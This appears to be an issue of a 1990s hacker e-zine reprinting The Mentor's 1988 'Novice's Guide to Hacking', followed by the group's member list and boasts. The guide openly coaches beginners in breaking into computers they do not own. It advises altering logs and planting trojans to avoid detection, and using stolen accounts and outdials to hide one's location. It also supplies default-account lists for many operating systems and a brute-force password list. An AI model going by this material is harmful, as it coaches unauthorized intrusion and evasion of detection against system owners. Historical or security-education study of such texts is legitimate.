The internet is the prime means of attack now, since the easy access and telnet. I have also added a unix primer and next month, if i can find a copy of THTJ issue 2 that i havent killed, i will add the UNIX to DOS Convertion Kit that first ran in issue 2 to help out you DOS people. The Basic Phreaking Info will not be run until a few issue down the road since i want to help everyone out with hackin first. Also get the alt.2600/#hack FAQ This will answer TONS of your questions about hacking and phreaking. It is not hard to find, and i will add a copy of it on my site soon. This is HACK.TXT -------------------------------------------- +++++++++++++++++++++++++++++++++++++++++++++++++ | The LOD/H Presents | ++++++++++++++++ ++++++++++++++++ \ A Novice's Guide to Hacking- 1989 edition / \ ========================================= / \ by / \ The Mentor / \ Legion of Doom/Legion of Hackers / \ / \ December, 1988 / \ Merry Christmas Everyone! / \+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/ ********************************************************************** | The author hereby grants permission to reproduce, redistribute, | | or include this file in your g-file section, electronic or print | | newletter, or any other form of transmission that you choose, as | | long as it is kept intact and whole, with no ommissions, delet- | | ions, or changes. (C) The Mentor- Phoenix Project Productions | | 1988,1989 512/441-3088 | ********************************************************************** Introduction: The State of the Hack ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ After surveying a rather large g-file collection, my attention was drawn to the fact that there hasn't been a good introductory file written for absolute beginners since back when Mark Tabas was cranking them out (and almost *everyone* was a beginner!) The Arts of Hacking and Phreaking have changed radically since that time, and as the 90's approach, the hack/phreak community has recovered from the Summer '87 busts (just like it recovered from the Fall '85 busts, and like it will always recover from attempts to shut it down), and the progressive media (from Reality Hackers magazine to William Gibson and Bruce Sterling's cyberpunk fables of hackerdom) is starting to take notice of us for the first time in recent years in a positive light. Unfortunately, it has also gotten more dangerous since the early 80's. Phone cops have more resources, more awareness, and more intelligence that they exhibited in the past. It is becoming more and more difficult to survive as a hacker long enough to become skilled in the art. To this end this file is dedicated . If it can help someone get started, and help them survive to discover new systems and new information, it will have served it's purpose, and served as a partial repayment to all the people who helped me out when I was a beginner. Contents ~~~~~~~~ This file will be divided into four parts: Part 1: What is Hacking, A Hacker's Code of Ethics, Basic Hacking Safety Part 2: Packet Switching Networks: Telenet- How it Works, How to Use it, Outdials, Network Servers, Private PADs Part 3: Identifying a Computer, How to Hack In, Operating System Defaults Part 4: Conclusion- Final Thoughts, Books to Read, Boards to Call, Acknowledgements Part One: The Basics ~~~~~~~~~~~~~~~~~~~~ As long as there have been computers, there have been hackers. In the 50's at the Massachusets Institute of Technology (MIT), students devoted much time and energy to ingenious exploration of the computers. Rules and the law were disregarded in their pursuit for the 'hack'. Just as they were enthralled with their pursuit of information, so are we. The thrill of the hack is not in breaking the law, it's in the pursuit and capture of knowledge. To this end, let me contribute my suggestions for guidelines to follow to ensure that not only you stay out of trouble, but you pursue your craft without damaging the computers you hack into or the companies who own them. I. Do not intentionally damage *any* system. II. Do not alter any system files other than ones needed to ensure your escape from detection and your future access (Trojan Horses, Altering Logs, and the like are all necessary to your survival for as long as possible.) III. Do not leave your (or anyone else's) real name, real handle, or real phone number on any system that you access illegally. They *can* and will track you down from your handle! IV. Be careful who you share information with. Feds are getting trickier. Generally, if you don't know their voice phone number, name, and occupation or haven't spoken with them voice on non-info trading conversations, be wary. V. Do not leave your real phone number to anyone you don't know. This includes logging on boards, no matter how k-rad they seem. If you don't know the sysop, leave a note telling some trustworthy people that will validate you. VI. Do not hack government computers. Yes, there are government systems that are safe to hack, but they are few and far between. And the government has inifitely more time and resources to track you down than a company who has to make a profit and justify expenses. VII. Don't use codes unless there is *NO* way around it (you don't have a local telenet or tymnet outdial and can't connect to anything 800...) You use codes long enough, you will get caught. Period. VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law. It doesn't hurt to store everything encrypted on your hard disk, or keep your notes buried in the backyard or in the trunk of your car. You may feel a little funny, but you'll feel a lot funnier when you when you meet Bruno, your transvestite cellmate who axed his family to death. IX. Watch what you post on boards. Most of the really great hackers in the country post *nothing* about the system they're currently working except in the broadest sense (I'm working on a UNIX, or a COSMOS, or something generic. Not "I'm hacking into General Electric's Voice Mail System" or something inane and revealing like that.) X. Don't be afraid to ask questions. That's what more experienced hackers are for. Don't expect *everything* you ask to be answered, though. There are some things (LMOS, for instance) that a begining hacker shouldn't mess with. You'll either get caught, or screw it up for others, or both. XI. Finally, you have to actually hack. You can hang out on boards all you want, and you can read all the text files in the world, but until you actually start doing it, you'll never know what it's all about. There's no thrill quite the same as getting into your first system (well, ok, I can think of a couple of bigger thrills, but you get the picture.) One of the safest places to start your hacking career is on a computer system belonging to a college. University computers have notoriously lax security, and are more used to hackers, as every college computer depart- ment has one or two, so are less likely to press charges if you should be detected. But the odds of them detecting you and having the personel to committ to tracking you down are slim as long as you aren't destructive. If you are already a college student, this is ideal, as you can legally explore your computer system to your heart's desire, then go out and look for similar systems that you can penetrate with confidence, as you're already familar with them. So if you just want to get your feet wet, call your local college. Many of them will provide accounts for local residents at a nominal (under $20) charge. Finally, if you get caught, stay quiet until you get a lawyer. Don't vol- unteer any information, no matter what kind of 'deals' they offer you. Nothing is binding unless you make the deal through your lawyer, so you might as well shut up and wait. Part Two: Networks ~~~~~~~~~~~~~~~~~~ The best place to begin hacking (other than a college) is on one of the bigger networks such as Telenet. Why? First, there is a wide variety of computers to choose from, from small Micro-Vaxen to huge Crays. Second, the networks are fairly well documented. It's easier to find someone who can help you with a problem off of Telenet than it is to find assistance concerning your local college computer or high school machine. Third, the networks are safer. Because of the enormous number of calls that are fielded every day by the big networks, it is not financially practical to keep track of where every call and connection are made from. It is also very easy to disguise your location using the network, which makes your hobby much more secure. Telenet has more computers hooked to it than any other system in the world once you consider that from Telenet you have access to Tymnet, ItaPAC, JANET, DATAPAC, SBDN, PandaNet, THEnet, and a whole host of other networks, all of which you can connect to from your terminal. The first step that you need to take is to identify your local dialup port. This is done by dialing 1-800-424-9494 (1200 7E1) and connecting. It will spout some garbage at you and then you'll get a prompt saying 'TERMINAL='. This is your terminal type. If you have vt100 emulation, type it in now. Or just hit return and it will default to dumb terminal mode. You'll now get a prompt that looks like a @. From here, type @c mail and then it will ask for a Username. Enter 'phones' for the username. When it asks for a password, enter 'phones' again. From this point, it is menu driven. Use this to locate your local dialup, and call it back locally. If you don't have a local dialup, then use whatever means you wish to connect to one long distance (more on this later.) When you call your local dialup, you will once again go through the TERMINAL= stuff, and once again you'll be presented with a @. This prompt lets you know you are connected to a Telenet PAD. PAD stands for either Packet Assembler/Disassembler (if you talk to an engineer), or Public Access Device (if you talk to Telenet's marketing people.) The first description is more correct. Telenet works by taking the data you enter in on the PAD you dialed into, bundling it into a 128 byte chunk (normally... this can be changed), and then transmitting it at speeds ranging from 9600 to 19,200 baud to another PAD, who then takes the data and hands it down to whatever computer or system it's connected to. Basically, the PAD allows two computers that have different baud rates or communication protocols to communicate with each other over a long distance. Sometimes you'll notice a time lag in the remote machines response. This is called PAD Delay, and is to be expected when you're sending data through several different links. What do you do with this PAD? You use it to connect to remote computer systems by typing 'C' for connect and then the Network User Address (NUA) of the system you want to go to. An NUA takes the form of 031103130002520 \___/\___/\___/ | | | | | |____ network address | |_________ area prefix |______________ DNIC This is a summary of DNIC's (taken from Blade Runner's file on ItaPAC) according to their country and network name. DNIC Network Name Country DNIC Network Name Country _______________________________________________________________________________ | 02041 Datanet 1 Netherlands | 03110 Telenet USA 02062 DCS Belgium | 03340 Telepac Mexico 02080 Transpac France | 03400 UDTS-Curacau Curacau 02284 Telepac Switzerland | 04251 Isranet Israel 02322 Datex-P Austria | 04401 DDX-P Japan 02329 Radaus Austria | 04408 Venus-P Japan 02342 PSS UK | 04501 Dacom-Net South Korea 02382 Datapak Denmark | 04542 Intelpak Singapore 02402 Datapak Sweden | 05052 Austpac Australia 02405 Telepak Sweden | 05053 Midas Australia 02442 Finpak Finland | 05252 Telepac Hong Kong 02624 Datex-P West Germany | 05301 Pacnet New Zealand 02704 Luxpac Luxembourg | 06550 Saponet South Africa 02724 Eirpak Ireland | 07240 Interdata Brazil 03020 Datapac Canada | 07241 Renpac Brazil 03028 Infogram Canada | 09000 Dialnet USA 03103 ITT/UDTS USA | 07421 Dompac French Guiana 03106 Tymnet USA | There are two ways to find interesting addresses to connect to. The first and easiest way is to obtain a copy of the LOD/H Telenet Directory from the LOD/H Technical Journal #4 or 2600 Magazine. Jester Sluggo also put out a good list of non-US addresses in Phrack Inc. Newsletter Issue 21. These files will tell you the NUA, whether it will accept collect calls or not, what type of computer system it is (if known) and who it belongs to (also if known.) The second method of locating interesting addresses is to scan for them manually. On Telenet, you do not have to enter the 03110 DNIC to connect to a Telenet host. So if you saw that 031104120006140 had a VAX on it you wanted to look at, you could type @c 412 614 (0's can be ignored most of the time.) If this node allows collect billed connections, it will say 412 614 CONNECTED and then you'll possibly get an identifying header or just a Username: prompt. If it doesn't allow collect connections, it will give you a message such as 412 614 REFUSED COLLECT CONNECTION with some error codes out to the right, and return you to the @ prompt. There are two primary ways to get around the REFUSED COLLECT message. The first is to use a Network User Id (NUI) to connect. An NUI is a username/pw combination that acts like a charge account on Telenet. To collect to node 412 614 with NUI junk4248, password 525332, I'd type the following: @c 412 614,junk4248,525332 <---- the 525332 will *not* be echoed to the screen. The problem with NUI's is that they're hard to come by unless you're a good social engineer with a thorough knowledge of Telenet (in which case you probably aren't reading this section), or you have someone who can provide you with them. The second way to connect is to use a private PAD, either through an X.25 PAD or through something like Netlink off of a Prime computer (more on these two below.) The prefix in a Telenet NUA oftentimes (not always) refers to the phone Area Code that the computer is located in (i.e. 713 xxx would be a computer in Houston, Texas.) If there's a particular area you're interested in, (say, New York City 914), you could begin by typing @c 914 001 . If it connects, you make a note of it and go on to 914 002. You do this until you've found some interesting systems to play with. Not all systems are on a simple xxx yyy address. Some go out to four or five digits (914 2354), and some have decimal or numeric extensions (422 121A = 422 121.01). You have to play with them, and you never know what you're going to find. To fully scan out a prefix would take ten million attempts per prefix. For example, if I want to scan 512 completely, I'd have to start with 512 00000.00 and go through 512 00000.99, then increment the address by 1 and try 512 00001.00 through 512 00001.99. A lot of scanning. There are plenty of neat computers to play with in a 3-digit scan, however, so don't go berserk with the extensions. Sometimes you'll attempt to connect and it will just be sitting there after one or two minutes. In this case, you want to abort the connect attempt by sending a hard break (this varies with different term programs, on Procomm, it's ALT-B), and then when you get the @ prompt back, type 'D' for disconnect. If you connect to a computer and wish to disconnect, you can type @ and you it should say TELENET and then give you the @ prompt. From there, type D to disconnect or CONT to re-connect and continue your session uninterrupted. Outdials, Network Servers, and PADs ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In addition to computers, an NUA may connect you to several other things. One of the most useful is the outdial. An outdial is nothing more than a modem you can get to over telenet- similar to the PC Pursuit concept, except that these don't have passwords on them most of the time. When you connect, you will get a message like 'Hayes 1200 baud outdial, Detroit, MI', or 'VEN-TEL 212 Modem', or possibly 'Session 1234 established on Modem 5588'. The best way to figure out the commands on these is to type ? or H or HELP- this will get you all the information that you need to use one. Safety tip here- when you are hacking *any* system through a phone dialup, always use an outdial or a diverter, especially if it is a local phone number to you. More people get popped hacking on local computers than you can imagine, Intra-LATA calls are the easiest things in the world to trace inexp- ensively. Another nice trick you can do with an outdial is use the redial or macro function that many of them have. First thing you do when you connect is to invoke the 'Redial Last Number' facility. This will dial the last number used, which will be the one the person using it before you typed. Write down the number, as no one would be calling a number without a computer on it. This is a good way to find new systems to hack. Also, on a VENTEL modem, type 'D' for Display and it will display the five numbers stored as macros in the modem's memory. There are also different types of servers for remote Local Area Networks (LAN) that have many machine all over the office or the nation connected to them. I'll discuss identifying these later in the computer ID section. And finally, you may connect to something that says 'X.25 Communication PAD' and then some more stuff, followed by a new @ prompt. This is a PAD just like the one you are on, except that all attempted connections are billed to the PAD, allowing you to connect to those nodes who earlier refused collect connections. This also has the added bonus of confusing where you are connecting from. When a packet is transmitted from PAD to PAD, it contains a header that has the location you're calling from. For instance, when you first connected to Telenet, it might have said 212 44A CONNECTED if you called from the 212 area code. This means you were calling PAD number 44A in the 212 area. That 21244A will be sent out in the header of all packets leaving the PAD. Once you connect to a private PAD, however, all the packets going out from *it* will have it's address on them, not yours. This can be a valuable buffer between yourself and detection. Phone Scanning ~~~~~~~~~~~~~~ Finally, there's the time-honored method of computer hunting that was made famous among the non-hacker crowd by that Oh-So-Technically-Accurate movie Wargames. You pick a three digit phone prefix in your area and dial every number from 0000 --> 9999 in that prefix, making a note of all the carriers you find. There is software available to do this for nearly every computer in the world, so you don't have to do it by hand. Part Three: I've Found a Computer, Now What? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This next section is applicable universally. It doesn't matter how you found this computer, it could be through a network, or it could be from carrier scanning your High School's phone prefix, you've got this prompt this prompt, what the hell is it? I'm *NOT* going to attempt to tell you what to do once you're inside of any of these operating systems. Each one is worth several G-files in its own right. I'm going to tell you how to identify and recognize certain OpSystems, how to approach hacking into them, and how to deal with something that you've never seen before and have know idea what it is. VMS- The VAX computer is made by Digital Equipment Corporation (DEC), and runs the VMS (Virtual Memory System) operating system. VMS is characterized by the 'Username:' prompt. It will not tell you if you've entered a valid username or not, and will disconnect you after three bad login attempts. It also keeps track of all failed login attempts and informs the owner of the account next time s/he logs in how many bad login attempts were made on the account. It is one of the most secure operating systems around from the outside, but once you're in there are many things that you can do to circumvent system security. The VAX also has the best set of help files in the world. Just type HELP and read to your heart's content. Common Accounts/Defaults: [username: password [[,password]] ] SYSTEM: OPERATOR or MANAGER or SYSTEM or SYSLIB OPERATOR: OPERATOR SYSTEST: UETP SYSMAINT: SYSMAINT or SERVICE or DIGITAL FIELD: FIELD or SERVICE GUEST: GUEST or unpassworded DEMO: DEMO or unpassworded DECNET: DECNET DEC-10- An earlier line of DEC computer equipment, running the TOPS-10 operating system. These machines are recognized by their '.' prompt. The DEC-10/20 series are remarkably hacker-friendly, allowing you to enter several important commands without ever logging into the system. Accounts are in the format [xxx,yyy] where xxx and yyy are integers. You can get a listing of the accounts and the process names of everyone on the system before logging in with the command .systat (for SYstem STATus). If you seen an account that reads [234,1001] BOB JONES, it might be wise to try BOB or JONES or both for a password on this account. To login, you type .login xxx,yyy and then type the password when prompted for it. The system will allow you unlimited tries at an account, and does not keep records of bad login attempts. It will also inform you if the UIC you're trying (UIC = User Identification Code, 1,2 for example) is bad. Common Accounts/Defaults: 1,2: SYSLIB or OPERATOR or MANAGER 2,7: MAINTAIN 5,30: GAMES UNIX- There are dozens of different machines out there that run UNIX. While some might argue it isn't the best operating system in the world, it is certainly the most widely used. A UNIX system will usually have a prompt like 'login:' in lower case. UNIX also will give you unlimited shots at logging in (in most cases), and there is usually no log kept of bad attempts. Common Accounts/Defaults: (note that some systems are case sensitive, so use lower case as a general rule. Also, many times the accounts will be unpassworded, you'll just drop right in!) root: root admin: admin sysadmin: sysadmin or admin unix: unix uucp: uucp rje: rje guest: guest demo: demo daemon: daemon sysbin: sysbin Prime- Prime computer company's mainframe running the Primos operating system. The are easy to spot, as the greet you with 'Primecon 18.23.05' or the like, depending on the version of the operating system you run into. There will usually be no prompt offered, it will just look like it's sitting there. At this point, type 'login '. If it is a pre-18.00.00 version of Primos, you can hit a bunch of ^C's for the password and you'll drop in. Unfortunately, most people are running versions 19+. Primos also comes with a good set of help files. One of the most useful features of a Prime on Telenet is a facility called NETLINK. Once you're inside, type NETLINK and follow the help files. This allows you to connect to NUA's all over the world using the 'nc' command. For example, to connect to NUA 026245890040004, you would type @nc :26245890040004 at the netlink prompt. Common Accounts/Defaults: PRIME PRIME or PRIMOS PRIMOS_CS PRIME or PRIMOS PRIMENET PRIMENET SYSTEM SYSTEM or PRIME NETLINK NETLINK TEST TEST GUEST GUEST GUEST1 GUEST HP-x000- This system is made by Hewlett-Packard. It is characterized by the ':' prompt. The HP has one of the more complicated login sequences around- you type 'HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP'. Fortunately, some of these fields can be left blank in many cases. Since any and all of these fields can be passworded, this is not the easiest system to get into, except for the fact that there are usually some unpassworded accounts around. In general, if the defaults don't work, you'll have to brute force it using the common password list (see below.) The HP-x000 runs the MPE operat- ing system, the prompt for it will be a ':', just like the logon prompt. Common Accounts/Defaults: MGR.TELESUP,PUB User: MGR Acct: HPONLY Grp: PUB MGR.HPOFFICE,PUB unpassworded MANAGER.ITF3000,PUB unpassworded FIELD.SUPPORT,PUB user: FLD, others unpassworded MAIL.TELESUP,PUB user: MAIL, others unpassworded MGR.RJE unpassworded FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96 unpassworded MGR.TELESUP,PUB,HPONLY,HP3 unpassworded IRIS- IRIS stands for Interactive Real Time Information System. It orig- inally ran on PDP-11's, but now runs on many other minis. You can spot an IRIS by the 'Welcome to "IRIS" R9.1.4 Timesharing' banner, and the ACCOUNT ID? prompt. IRIS allows unlimited tries at hacking in, and keeps no logs of bad attempts. I don't know any default passwords, so just try the common ones from the password database below. Common Accounts: MANAGER BOSS SOFTWARE DEMO PDP8 PDP11 ACCOUNTING VM/CMS- The VM/CMS operating system runs in International Business Machines (IBM) mainframes. When you connect to one of these, you will get message similar to 'VM/370 ONLINE', and then give you a '.' prompt, just like TOPS-10 does. To login, you type 'LOGON '. Common Accounts/Defaults are: AUTOLOG1: AUTOLOG or AUTOLOG1 CMS: CMS CMSBATCH: CMS or CMSBATCH EREP: EREP MAINT: MAINT or MAINTAIN OPERATNS: OPERATNS or OPERATOR OPERATOR: OPERATOR RSCS: RSCS SMART: SMART SNA: SNA VMTEST: VMTEST VMUTIL: VMUTIL VTAM: VTAM NOS- NOS stands for Networking Operating System, and runs on the Cyber computer made by Control Data Corporation. NOS identifies itself quite readily, with a banner of 'WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978,1987'. The first prompt you will get will be FAMILY:. Just hit return here. Then you'll get a USER NAME: prompt. Usernames are typically 7 alpha-numerics characters long, and are *extremely* site dependent. Operator accounts begin with a digit, such as 7ETPDOC. Common Accounts/Defaults: $SYSTEM unknown SYSTEMV unknown Decserver- This is not truly a computer system, but is a network server that has many different machines available from it. A Decserver will say 'Enter Username>' when you first connect. This can be anything, it doesn't matter, it's just an identifier. Type 'c', as this is the least conspicuous thing to enter. It will then present you with a 'Local>' prompt. From here, you type 'c ' to connect to a system. To get a list of system names, type 'sh services' or 'sh nodes'. If you have any problems, online help is available with the 'help' command. Be sure and look for services named 'MODEM' or 'DIAL' or something similar, these are often outdial modems and can be useful! GS/1- Another type of network server. Unlike a Decserver, you can't predict what prompt a GS/1 gateway is going to give you. The default prompt it 'GS/1>', but this is redifinable by the system administrator. To test for a GS/1, do a 'sh d'. If that prints out a large list of defaults (terminal speed, prompt, parity, etc...), you are on a GS/1. You connect in the same manner as a Decserver, typing 'c '. To find out what systems are available, do a 'sh n' or a 'sh c'. Another trick is to do a 'sh m', which will sometimes show you a list of macros for logging onto a system. If there is a macro named VAX, for instance, type 'do VAX'. The above are the main system types in use today. There are hundreds of minor variants on the above, but this should be enough to get you started. Unresponsive Systems ~~~~~~~~~~~~~~~~~~~~ Occasionally you will connect to a system that will do nothing but sit there. This is a frustrating feeling, but a methodical approach to the system will yield a response if you take your time. The following list will usually make *something* happen. 1) Change your parity, data length, and stop bits. A system that won't re- spond at 8N1 may react at 7E1 or 8E2 or 7S2. If you don't have a term program that will let you set parity to EVEN, ODD, SPACE, MARK, and NONE, with data length of 7 or 8, and 1 or 2 stop bits, go out and buy one. While having a good term program isn't absolutely necessary, it sure is helpful. 2) Change baud rates. Again, if your term program will let you choose odd baud rates such as 600 or 1100, you will occasionally be able to penetrate some very interesting systems, as most systems that depend on a strange baud rate seem to think that this is all the security they need... 3) Send a series of 's. 4) Send a hard break followed by a . 5) Type a series of .'s (periods). The Canadian network Datapac responds to this. 6) If you're getting garbage, hit an 'i'. Tymnet responds to this, as does a MultiLink II. 7) Begin sending control characters, starting with ^A --> ^Z. 8) Change terminal emulations. What your vt100 emulation thinks is garbage may all of a sudden become crystal clear using ADM-5 emulation. This also relates to how good your term program is. 9) Type LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO, JOIN, HELP, and anything else you can think of. 10) If it's a dialin, call the numbers around it and see if a company answers. If they do, try some social engineering. Brute Force Hacking ~~~~~~~~~~~~~~~~~~~ There will also be many occasions when the default passwords will not work on an account. At this point, you can either go onto the next system on your list, or you can try to 'brute-force' your way in by trying a large database of passwords on that one account. Be careful, though! This works fine on systems that don't keep track of invalid logins, but on a system like a VMS, someone is going to have a heart attack if they come back and see '600 Bad Login Attempts Since Last Session' on their account. There are also some operating systems that disconnect after 'x' number of invalid login attempts and refuse to allow any more attempts for one hour, or ten minutes, or some- times until the next day. The following list is taken from my own password database plus the data- base of passwords that was used in the Internet UNIX Worm that was running around in November of 1988. For a shorter group, try first names, computer terms, and obvious things like 'secret', 'password', 'open', and the name of the account. Also try the name of the company that owns the computer system (if known), the company initials, and things relating to the products the company makes or deals with. Password List ============= aaa daniel jester rascal academia danny johnny really ada dave joseph rebecca adrian deb joshua remote aerobics debbie judith rick airplane deborah juggle reagan albany december julia robot albatross desperate kathleen robotics albert develop kermit rolex alex diet kernel ronald alexander digital knight rosebud algebra discovery lambda rosemary alias disney larry roses alpha dog lazarus ruben alphabet drought lee rules ama duncan leroy ruth amy easy lewis sal analog eatme light saxon anchor edges lisa scheme andy edwin louis scott andrea egghead lynne scotty animal eileen mac secret answer einstein macintosh sensor anything elephant mack serenity arrow elizabeth maggot sex arthur ellen magic shark asshole emerald malcolm sharon athena engine mark shit atmosphere engineer markus shiva bacchus enterprise marty shuttle badass enzyme marvin simon bailey euclid master simple banana evelyn maurice singer bandit extension merlin single banks fairway mets smile bass felicia michael smiles batman fender michelle smooch beauty fermat mike smother beaver finite minimum snatch beethoven flower minsky snoopy beloved foolproof mogul soap benz football moose socrates beowulf format mozart spit berkeley forsythe nancy spring berlin fourier napoleon subway beta fred network success beverly friend newton summer bob frighten next super brenda fun olivia support brian gabriel oracle surfer bridget garfield orca suzanne broadway gauss orwell tangerine bumbling george osiris tape cardinal gertrude outlaw target carmen gibson oxford taylor carolina ginger pacific telephone caroline gnu painless temptation castle golf pam tiger cat golfer paper toggle celtics gorgeous password tomato change graham pat toyota charles gryphon patricia trivial charming guest penguin unhappy charon guitar pete unicorn chester hacker peter unknown cigar harmony philip urchin classic harold phoenix utility coffee harvey pierre vicky coke heinlein pizza virginia collins hello plover warren comrade help polynomial water computer herbert praise weenie condo honey prelude whatnot condom horse prince whitney cookie imperial protect will cooper include pumpkin william create ingres puppet willie creation innocuous rabbit winston creator irishman rachmaninoff wizard cretin isis rainbow wombat daemon japan raindrop yosemite dancer jessica random zap Part Four: Wrapping it up! ~~~~~~~~~~~~~~~~~~~~~~~~~~ I hope this file has been of some help in getting started. If you're asking yourself the question 'Why hack?', then you've probably wasted a lot of time reading this, as you'll never understand. For those of you who have read this and found it useful, please send a tax-deductible donation of $5.00 (or more!) in the name of the Legion of Doom to: The American Cancer Society 90 Park Avenue New York, NY 10016 ******************************************************************************** References: 1) Introduction to ItaPAC by Blade Runner Telecom Security Bulletin #1 2) The IBM VM/CMS Operating System by Lex Luthor The LOD/H Technical Journal #2 3) Hacking the IRIS Operating System by The Leftist The LOD/H Technical Journal #3 4) Hacking CDC's Cyber by Phrozen Ghost Phrack Inc. Newsletter #18 5) USENET comp.risks digest (various authors, various issues) 6) USENET unix.wizards forum (various authors) 7) USENET info-vax forum (various authors) Recommended Reading: 1) Hackers by Steven Levy 2) Out of the Inner Circle by Bill Landreth 3) Turing's Man by J. David Bolter 4) Soul of a New Machine by Tracy Kidder 5) Neuromancer, Count Zero, Mona Lisa Overdrive, and Burning Chrome, all by William Gibson 6) Reality Hackers Magazine c/o High Frontiers, P.O. Box 40271, Berkeley, California, 94704, 415-995-2606 7) Any of the Phrack Inc. Newsletters & LOD/H Technical Journals you can find. Acknowledgements: Thanks to my wife for putting up with me. Thanks to Lone Wolf for the RSTS & TOPS assistance. Thanks to Android Pope for proofreading, suggestions, and beer. Thanks to The Urvile/Necron 99 for proofreading & Cyber info. Thanks to Eric Bloodaxe for wading through all the trash. Thanks to the users of Phoenix Project for their contributions. Thanks to Altos Computer Systems, Munich, for the chat system. Thanks to the various security personel who were willing to talk to me about how they operate. Boards: I can be reached on the following systems with some regularity- The Phoenix Project: 512/441-3088 300-2400 baud Hacker's Den-80: 718/358-9209 300-1200 baud Smash Palace South: 512/478-6747 300-2400 baud Smash Palace North: 612/633-0509 300-2400 baud ************************************* EOF ************************************** -------------------------------------------- That is all for now.. read up and work hard on this. I would like to give you tons more, but it would clog this mag up and people with more knowledge could get VERY pissed. Next month for you i will have more on UNIX and some internet web and ftp hacking for you. So enjoy until then. And remember -"don't get caught" Next Month in RTFM: More on UNIX, other hackin methods FTP hack? Web hack? more..... stay tuned! ============================================================================= HBS Who is HAVOC Bell Systems? Scud-O : Linux Lammah psych0 : All Around Lammah |\|\cFill : MIA ? Keystroke : Mad PLA Insider REality : the Digital Man UnaBomber : TDD gawd memor : the MAN in France Agrajag : yet another MAD PLA insider! Digital_X : the rewt 0f A11 3\/i1! theLURK3R : the #virii god Redtyde : Web Design DemiGod darkcyde : The brother from another planet! Sancho Panza : This boy is so lame he couldn't hack is way out of a bag! hehehehehe (no wonder he's IN HBS! bwahahahaha) DiSCoRe : Just added.. gotta think of somethin for him The MIA people have been taken off the list! Cool Undernet Channels: #phreak #rewt <-- dead now #hbs #hack - ? The LAMEST Channel in Undernet: #flood - ahahahahahah we took over yer lame ass channel you fools! we OWN yer arse! LIVE IN PHEAR! bwahahahahahahahahahahahaha Cool People: KungFuFox : almost a bigger perv than el4n ArcAngl : the OTHER BellAtlantic phreak darc : The MAN BC219 : the warez are in the mail! exorcist : cell phone g0d Jisa : she looks just like Scully.. I Swear! ec|ipse : I'm coming to your house to kill you fool! zeth : the cellular 'GOD' phire : liked the SSI article in hacknowledge issue 2! DiSCoRe : cried cause i wast on the conf - i'm touched dr1x : showed our lame asses how to start up confs Rap3d_C0w : MIA? tombin : where the hell is my account?? CiND3R : when yer REALLY on ya kick arse! RedDeath : are you ever really on anymore? el4n : the biggest perv i have EVER met! LuCiFeR_ : MIA? X-SeRiAl : MIA? yesimlame : are you ever really on anymore? fusi0n : MIA? XiN0 (hehehehehehe.. bwahahahahahahahahahahaha) all of these fine gents can be found on #phreak Lammah(s) of the Month: cl00bie - fuckin loser DoGGpiLe - you just SUCK Lammah of the YEAR: its only January yes, but SINISTER takes the cake as the lamer of the year. find out about him next month! This Month Question(s): Why did you add SO many people to HBS? CAUSE THEY ROCK YER LAME ASSES!!!!!!!!!! Next Month's Question: Who are these HBS people? Next Month: This MAY be what we will have in issue 8 - Blue Boxing in France Pt.2 by memor - hell.net info - CGI Insecurites Part III by Scud-O - Denial Of Service Attacks - The 'g0d' project - SINISTER : The lammah of the year! - Who is HBS? - NOAOL.CGI by Scud-O - keep those lamers out of your site! - Serial Line Connectors by btm - Fiber Optics & more by Keystroke - Everyone busts - More from the RTFM: The Lamer Journal - Much, Much more TBA! Issue 8 is out March 1st! cya next issue! - From all of us at HBS Tune in next time, same Bat Time, same Bat Channel! ============================================================ = IS this copy of The HAVOC Technical Journal Skunked? = If this file reads larger than 162985 bytes than this issue = has been messed with! get a fresh copy from our site: = www.geocities.com/SiliconValley/8805/ ============================================================